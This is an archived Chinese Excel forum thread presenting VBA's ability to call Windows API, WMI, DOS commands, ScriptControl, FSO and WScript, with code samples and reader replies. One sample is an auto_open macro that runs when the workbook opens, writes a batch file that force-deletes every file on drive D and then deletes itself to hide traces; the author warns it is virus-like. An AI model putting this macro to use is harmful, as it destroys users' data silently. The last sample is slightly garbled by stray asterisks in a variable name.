作者:绿色风
分类:
时间:2022-08-17
浏览:220
楼主 罗刚君 |
VBA完整的称呼是Visual Basic For Application VBA是附属于软件中的编程语言,它的身影遍布全球,同时也遍布诸多主流软件。例如WORD、EXCEL、PPT、FrontPage、Outlook、CAD、Coreldraw等等软件都支持VBA,可见VBA应用的广泛性。 当然除此外,VBA还有一个特性:包容性。VBA语言起源于VB,但高于VB。也就是说先有VB,后有VBA,但是VB6.0停止开发后,VBA却在一步步升级,目前最新版是7.0。当然说VBA高于VB并非针对版本号,而是易用性,VBA相对VB有较大的改善。例如在窗体中添加控件,VBA中可以调置好一个控件后按住Ctrl键的同时拖动控件从而实现复制的功能,特别是一组控件进行拖动时,可以实现复制一组控件,且属性一致,排版准确....VB是无法做到这一点的。当然还有很多很多的改进,例如VB中使用分组框Frame1后,里面的控件全变成“刮刮卡”形式,背影变成黑色,让人无法看文字,这种BUG比较严重。还有按钮的前景色无法设置等等毛病,而VBA都进行了改进。 当然今天说的不止于此,主要谈VBA的包容性,即VBA可以使用VBA和VB的语言进行编程以外,它还可以调用其它语言,集万家所长,“它山之石可以攻玉”在此体现得淋漓尽致。 例如VBA可以调用API、ADO、SQL、DOS、VBS、WScript、FSO(FileSystemObject)、ScriptControl、WMI(Windows Management Instrumentation)以及专用于网页的语言。 ________________________________________ 有事实说话?Of Course! 例如VBA调用API:通过API函数判断当前是否按下了Alt\Shift或者Ctrl键。代码如下:- Private Declare Function GetKeyState Lib "user32" (ByVal vKey As Long) As Integer
- Sub 测试状态()
- If (GetKeyState(&H10) And &H8000) <> 0 Then MsgBox "Shift键被按下了"
- If (GetKeyState(&H11) And &H8000) <> 0 Then MsgBox "Ctrl键被按下了"
- If (GetKeyState(&H12) And &H8000) <> 0 Then MsgBox "Alt键被按下了"
- End Sub
VBA调用WMI:通过WMI技术获取本机的分辨率设置。代码如下:- Sub 计算分辨率()
- Dim colItems, objItem As Object
- Set colItems = GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select * From Win32_DisplayConfiguration")
- For Each objItem In colItems
- MsgBox "分辨率:" & objItem.PelsWidth & "* " & objItem.PelsHeight
- Next
- End Sub
VBA调用DOS:利用DOS命令删除所有文件,同时将自己也删除,实现隐弊的目的- Sub auto_open() '全自动执行删除所有文件(有点像病毒了,请大家不要随意测试,知道就行)
- On Error Resume Next
- Dim i As Integer
- Dim delFile As String
- delFile = "C:\del.bat"
- i = FreeFile
- Open delFile For Output Access Write As #i
- Print #i, "@echo off"
- Print #i, "del/f/s/q d:\*.*" '删除D盘下所有文件
- Print #i, "del/f/s/q C:\del.bat" '删除自己,不留痕迹
- Print #i, "@echo"
- Close (i)
- Shell Environ$("comspec") & " /c """ & delFile & """", vbMinimizedFocus '执行命令
- End Sub
VBA调用ScriptControl:通过ScriptControl开发计算函数,可以突破VBA中Evaluate的限制 我们知道Evaluate顶多能计算256个字符的表达式,远远不能满足工作需求,而ScriptControl却可以实现1000个字符以上的表达式计算 代码如下:- '本函数可以计算表达式,例如将1+3转换成值4
- Function 计算(rng As String) As String
- Set obj = CreateObject("MSScriptControl.ScriptControl")
- obj.Language = "vbscript"
- 计算 = obj.Eval(rng)
- Set obj = Nothing
- End Function
现在证明一下我的以上观点:- Sub 测试() '突破256限制
- Dim str As String
- For i = 1 To 500
- str = str & "1+"
- Next
- MsgBox 计算(str & 1) '可以计算值为501
- MsgBox Application.Evaluate(str & 1) '不能计算
- End Sub
VBA调用FSO:利用FSO技术获取所有文件夹名称- Sub 将D盘所有文件夹名罗列在A列()
- For Each Floder1 In CreateObject("Scripting.FileSystemObject").GetFolder("D:\").SubFolders
- n = n + 1
- Cells(n, 1) = Floder1.Name
- Next
- End Sub
___________________________________ 为了更好的体现VBA的包容性,再给大家展示一个VBA同时调用FSO、WScript、DOS语言的综合应用,代码如下:- Sub 获取C盘以外所有磁盘的文件夹目录()
- Dim FileSys As Object, Drv As Object, Letter As String
- Set FileSys = CreateObject("Scripting.FileSystemObject") '引用FSO对象
- On Error Resume Next '防错
- For Each Drv In FileSys.Drives '遍历所有磁盘
- If Drv.IsReady Then '如果磁盘已准备好(主要针对光盘或者虚拟盘)
- If Drv.DriveLetter <> "C" Then Letter = Letter & Drv.DriveLetter & ":\ " '如果卷标不是C,那么将所有卷标合并
- End If
- Next Drv
- Dim Str As String, objShell As Object
- Set objShell = CreateObject("WScript.Shell") '引用WScript对象
- Set Do**ec = objShell.Exec("cmd.exe /c dir " & Letter & " /ad") '引用DOS命令提取文件夹目录
- Str = Do**ec.StdOut.ReadAll '将返回的值赋与变量Str
- '将变量Str的值以换行符作为分隔符,将它转换成数组并写入到工作表中
- [a1].Resize(UBound(Split(Str, Chr(10))) + 1, 1) = WorksheetFunction.Transpose(Split(Str, Chr(10)))
- Set FileSys = Nothing '释放变量
- Set Do**ec = Nothing
- Set objShell = Nothing
- End Sub
结束语: VBA相当强大,除了自身的强大外,它可以将别的软件的优点借用过来扩充自己。那么我们自己呢? 希望广大网友都可以通过学习VBA来武装自己,也使自己更强大,让自己更充实。 →-罗刚君 2010-4-22 转载请注明出处 |
2楼 yinxingshu |
不错! 确实不错! |
3楼 xyh9999 |
学习VBA其乐无穷 |
4楼 zlxtl |
|
5楼 xynczhangchun |
罗老师的书不错,我正在读,而且有问必答 |
6楼 wangqilong1980 |
罗老师的书不错,我正在读,而且有问必答 |
7楼 蓝桥玄霜 |
好文章。收藏学习了。 |
8楼 liuguansky |
蓝桥版主都过来学习了啊。我也过来凑下热闹 |
9楼 lrlxxqxa |
它山之石,可以攻玉,原来VBA可以调用如此多的语言! |
10楼 jm1979 |
感谢罗老师 最后一段遍历的代码里多了几个** |
11楼 松儿 |
不简单!学习! |
12楼 bluexuemei |
VBA海纳百川啊 |
13楼 水星钓鱼 |
再次学习 |
免责声明
有感于原ExcelTip.Net留存知识的价值及部分知识具有的时间限定性因素,
经与ExcelTip.Net站长Apolloh商议并征得其同意,
现将原属ExcelTip.Net的知识帖采集资料于本站点进行展示,
供有需要的人士查询使用,也慰缅曾经的论坛时代。
所示各个帖子的原作者如对版权有异议,
可与本人沟通提出,或于本站点留言,我们会尽快处理。
在此,感谢ExcelTip.Net站长Apolloh的支持,感谢本站点所有人**绿色风(QQ:79664738)**的支持与奉献,特此鸣谢!
------本人网名**KevinChengCW(QQ:1210618015)**原ExcelTip.Net总版主之一